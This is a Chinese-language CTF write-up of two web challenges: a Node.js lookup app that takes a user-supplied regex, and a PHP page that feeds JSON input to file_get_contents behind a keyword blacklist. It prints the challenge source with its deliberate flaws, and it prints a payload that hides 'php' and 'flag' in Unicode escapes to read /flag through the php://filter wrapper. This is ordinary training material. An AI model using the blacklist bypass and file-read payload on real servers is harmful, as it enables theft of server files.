Web
read-data
这题考了对nodejs代码的基本理解
//app.js
const express = require('express')
const app = express();
const port = 3000;
const fs = require('fs')
try {
const inputD = fs.readFileSync('table.txt', 'utf-8');
text = inputD.toString().split("\n").map(e => e.trim());
} catch (err) {
console.error("读取文件出错:", err);
process.exit(1);
}
app.get('/', (req, res) => {
if (!req.query.name) {
res.send("你查询了吗? XD")
return;
}
let goodLines = []
text.forEach( line => {
if (line.match(req.query.name)) {
goodLines.push(line)
}
});
res.json({"查询结果":goodLines})
})
app.get('/:id/:firstName/:lastName', (req, res) => {
res.send("FLAG")
})
app.listen(port, () => {
console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
关键代码就看app路由get那段,需要填三个值,分别是id,firstName,lastName,填对了就给你flag
查询name值有哪些,进行模糊匹配
可以看到在第51个id值看到了Flag Holder字眼,说明flag就在这,然后按照刚刚的格式填一下就行,id数一下是51,firstName是Flag,lastName是Holder
payload: /51/Flag/Holder
rce_me
//题目源码
<?php
error_reporting(0);
highlight_file(__FILE__);
function is_safe($input) {
$blacklist = [
'\.\.',
'(php|file|glob|data|tp|zip|zlib|phar):',
'flag'
];
$pattern = '/' . implode('|', $blacklist) . '/i';
return !preg_match($pattern, $input);
}
$requestBody = file_get_contents('php://input');
$parsedJson = json_decode($requestBody, true);
if (is_safe($requestBody) && isset($parsedJson) && isset($parsedJson['pages'])) {
$pageUrl = $parsedJson['pages'];
$pageContent = file_get_contents($pageUrl);
if (!$pageContent || !is_safe($pageContent)) {
$pageContent = "<p>not found</p>\n";
}
} else {
$pageContent = '<p>invalid request</p>';
}
$pageContent = preg_replace('/flag\{.+\}/i', 'flag{123}', $pageContent);
echo json_encode(['content' => $pageContent]);
?>
这题考察Unicode编码绕过+伪协议读取
burp抓个包
{“page”:”1”},这是json基本传输数据的格式
file_get_contents
这个函数是可以触发 php://filter
的,所以考虑使用伪协议读取,对 php
的过滤使用 Unicode
绕过即可
最终payload:{“pages”:”\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067”}({“pages”:”php://filter/convert.base64-encode/resource=/flag”})
成功读取出base64数据流的flag,解码即可